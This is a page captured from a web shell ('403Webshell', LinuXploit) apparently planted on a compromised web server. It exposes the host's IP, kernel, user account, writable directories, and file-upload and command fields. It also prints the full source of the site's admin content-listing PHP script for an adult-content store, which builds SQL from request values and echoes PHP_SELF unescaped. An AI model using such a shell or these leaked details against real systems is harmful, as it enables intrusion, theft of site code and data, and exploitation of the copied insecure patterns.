403Webshell
Server IP : 208.122.213.31  /  Your IP : 216.73.216.185
Web Server : Apache
System : Linux msd6191.mjhst.com 4.18.0-553.137.1.el8_10.x86_64 #1 SMP Wed Jun 24 11:40:24 UTC 2026 x86_64
User : WHMCS_MIA_382 ( 1001)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/httpd/html/store.tiacyrusxxx.com/public_html/xfcadmin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/httpd/html/store.tiacyrusxxx.com/public_html/xfcadmin/adm.content.php
<?php
error_reporting(E_ALL ^ E_WARNING); 

$requiredLevel = 9;
	include('adm.config.php');
	
	include('adm.header.php');
	
	
	$pageDisplay = 1000;
	
	if(isset($_GET['v'])) {
		$pageView = addslashes($_GET['v']);
	} else {
		$pageView = "pending";
	}
	
	if(isset($_GET['t']) && is_numeric($_GET['t'])) {
		$pageType = addslashes($_GET['t']);
	} else {
		$pageType = 0;	
	}
	
	if(isset($_GET['p']) && is_numeric($_GET['p'])) {
		$pageNumber = addslashes($_GET['p']);
	} else {
		$pageNumber = 1;
	}

	if ($pageNumber == 1) {
		$startResults = 0;
	} else {
		$startResults = ($pageNumber - 1) * $pageDisplay;
	}
	
	$add_sql = "";
		
	// TYPE LIMIT
	if($pageType > 0){
		$add_sql .= " AND content_type = '".$pageType."' ";
	} 
	
    //Specific Model
    if(isset($_GET['model_id']) && is_numeric($_GET['model_id']))
    {
        $model_id = trim($_GET['model_id']);
        
        if(empty($add_sql)){ 
            $add_sql .= " WHERE ";
        }
        else
        {
            $add_sql .= " AND ";
        }
        
        $add_sql .= " model_id = '". $model_id . "' ";
    }
    
	// ACCESS LEVEL
    
    //Order SQL
    $order_sql = "";
       if(isset($_GET['sort']) && is_numeric($_GET['sort']))
       {
        $order_way = @$_GET['order'] == "ASC"? " ASC " : " DESC ";
        
        $order_q = trim($_GET['sort']);
        
           if($order_q == 2)
           {
               $order_column = "  cms_models.name ";
               
               $order_sql .= $order_column . $order_way;
           }
           else if($order_q == 3)
           {
               $order_sql .= $order_column = "  content_type = 2 DESC, content_type =3  DESC, content_type =1  DESC";
           }
           else if($order_q == 4)
           {
               $order_sql .= $order_column = "  content_type = 1  DESC, content_type =2  DESC, content_type =3  DESC";
           }
           else if($order_q == 5)
           {
                $order_sql .= $order_column = "  content_type = 3  DESC, content_type =1  DESC, content_type =2  DESC";
           }
           else if($order_q == 6)
           {
                $order_sql .= " DATE(cms_content.releasedate) " . $order_way;
           }
           else
           {
                 $order_sql .= " cms_content.releasedate DESC ";
           }
       }
       else
       {
            $order_sql .= " cms_content.releasedate DESC ";
       }
    //End order SQL
    
	if ($userDetails->xfcadmin == 1) {
		// THIS IS A MODEL
		$query = "SELECT * FROM cms_content WHERE model_id = '" . $userDetails->model_id . "'  ".$add_sql."  ORDER BY releasedate DESC";
	} elseif ($userDetails->xfcadmin == 9) {
		// THIS IS TAMMY, DISPLAY ALL.
		$query = "SELECT * FROM cms_content JOIN cms_models ON cms_content.model_id = cms_models.model_id  ".$add_sql." ORDER BY " . $order_sql;
        
	} else {
		die(); // How did they get here?
	}
	
	$quickCount_sql = mysql_query($query) or die(mysql_error());
	$getCount = mysql_num_rows($quickCount_sql);
	
	if($pageNumber > ceil($getCount/$pageDisplay)) {
		$pageNumber = 1;
	}
	
	$getPagination = paginateStuff("adm.content.php","v=".$pageView,$pageNumber,$getCount,$pageDisplay,"all");
		
	$query .= " LIMIT " . $startResults . "," . $pageDisplay;

	$get_sql = mysql_query($query) or die(mysql_error());
    
?>
<h3>CONTENT
  <?php if($userDetails->xfcadmin == 9) { ?>
  <small><a href="adm.content.modify.php">Add Content</a></small>
  <?php } ?>
</h3>

<?php
	if (mysql_num_rows($get_sql) > 0) {
?>


<?php if($userDetails->xfcadmin == 9) {
// DROP DOWN OF MODELS
// DROP DOWN OF TYPE 
//Echo model dropdown. Function in site.func.php
?>
<div class="form-group">
	<label class="col-lg-2 control-label">Model:</label>
    <div class="col-lg-4">
			<select name="status"  class="form-control" onChange="top.location.href=this.options[this.selectedIndex].value">
			   
<?php
modelDropDown();
?>

</select>
    </div>
 </div>	
 
<?php 
  }
  ?>
<br />
<br />
<table class="table table-bordered table-hover table-condensed">
  <thead>
    <tr>
      <?php if($userDetails->xfcadmin == 9) { ?>
      <th width="50"></th>
      <?php } ?>
      <th>ID#</th>
      <th>Thumbnail</th>
      <th><a href="<?php echo $_SERVER['PHP_SELF'];?>?sort=2&order=<?php echo @$_GET['order'] == "ASC"? "DESC" :"ASC";?>">Model</a></th>
      <th><a href="<?php echo $_SERVER['PHP_SELF'];?>?sort=3">Video</a>/
          <a href="<?php echo $_SERVER['PHP_SELF'];?>?sort=4">Photo</a>/
          <a href="<?php echo $_SERVER['PHP_SELF'];?>?sort=5">Custom</a>
      </th>
      <th><a href="<?php echo $_SERVER['PHP_SELF']; ?>?sort=6&order=<?php echo @$_GET['order'] == "ASC"? "DESC" :"ASC";?>">Release</a></th>
      <th>Title</th>
      <th>Price</th>
      <th>Items Sold</th>
      <th>Status</th>
    </tr>
  </thead>
  <tbody>
    <?php
		while ($row_fetch = mysql_fetch_array($get_sql)) {
		  
          //Doing below added by Bill this because there are 2 rows
		     $row = new stdClass();
             foreach($row_fetch as $key=> $value)
             {
                 $row->$key = $value;
             }
         //End By Bil						
			$modelurl = "model.php?id=" . $row->model_id;
			
			if($row->content_type == 1){
				$url = "photoset.php?id=" . $row->content_id;
				//$itemDetails->title = "Photoset: ".$itemDetails->title;
			} else {
				$url = "video.php?id=" . $row->content_id;
				//$itemDetails->title = "Video: ".$itemDetails->title;
			}
			
			$modelInfo = cartModel($row->model_id,0);
			?>
    <tr <?php if ($row->status == 0) { echo 'class="danger"'; } ?>>
      <?php if($userDetails->xfcadmin == 9) { ?>
      <td><a href="adm.content.modify.php?id=<?php echo $row->content_id; ?>">EDIT</a></td>
      <?php } ?>
      <td><?php echo $row -> content_id; ?></td>
      <td>
      <?php //Display Content Thumbnail
      
            $thumb_path = '../content/models/' . $row->directory . '/tn.jpg';
            $generated_thumb_path = '../content/models/' . $row->directory . '/adm-content-tn.jpg';
            
            if(file_exists($thumb_path))
            {
                if(!file_exists($generated_thumb_path))
                {
                //Resize image to thumbnail if thumbnail does not already exist does not exist
                  $thumb_data = file_get_contents($thumb_path);
                  list($width, $height) = getimagesizefromstring($thumb_data);
                  smart_resize_image($thumb_data, $generated_thumb_path, $width, $height, 100, $height * (100/$width), 100);                
                }
            ?>
             
                </a><img src="<?php echo isset($generated_thumb_path)? $generated_thumb_path : ""; ?>" width="100" alt="No Thumb To Display"/>
            <?php  
            }
            else
            {
                echo "No thumb to display";
            }
      ?>
      
             
      </td>
      <td><?php echo $modelInfo->name; ?></td>
      <td>
           <?php
           //echo $row->content_type;
                echo $row->content_type == 1? "Photo(s)": ($row->content_type == 2? "Video" : ($row->content_type == 3? "Custom Video" : ""));
           ?>
      </td>
      <td><?php echo $row_fetch[6]; ?></td>
      <td><?php echo $row -> title; ?></td>
      <td>$<?php echo $row -> price; ?></td>
      <td>
           <?php
           $getCount = @mysql_query("SELECT count(*) as itemsSold FROM cms_billing_purchases WHERE itemID = " . trim($row->content_id));
           $result = mysql_fetch_assoc($getCount);
           $itemsSold = $result['itemsSold'];
           echo $itemsSold
           ?>
      </td>

      <td><?php if ($row->status == 0) { echo 'DISABLED'; } else { echo 'ENABLED'; } ?></td>

    </tr>
    <?php } ?>
  </tbody>
</table>
<?php
}
else
{
?>
<div class="form-group">
	<label class="col-lg-2 control-label">Model:</label>
    <div class="col-lg-4">
			<select name="status"  class="form-control" onChange="top.location.href=this.options[this.selectedIndex].value">
<?php
    modelDropDown();
}
?>

</select>
    </div>
 </div>	

<?php
include ('adm.footer.php');
?>

Youez - 2016 - github.com/yon3zu
LinuXploit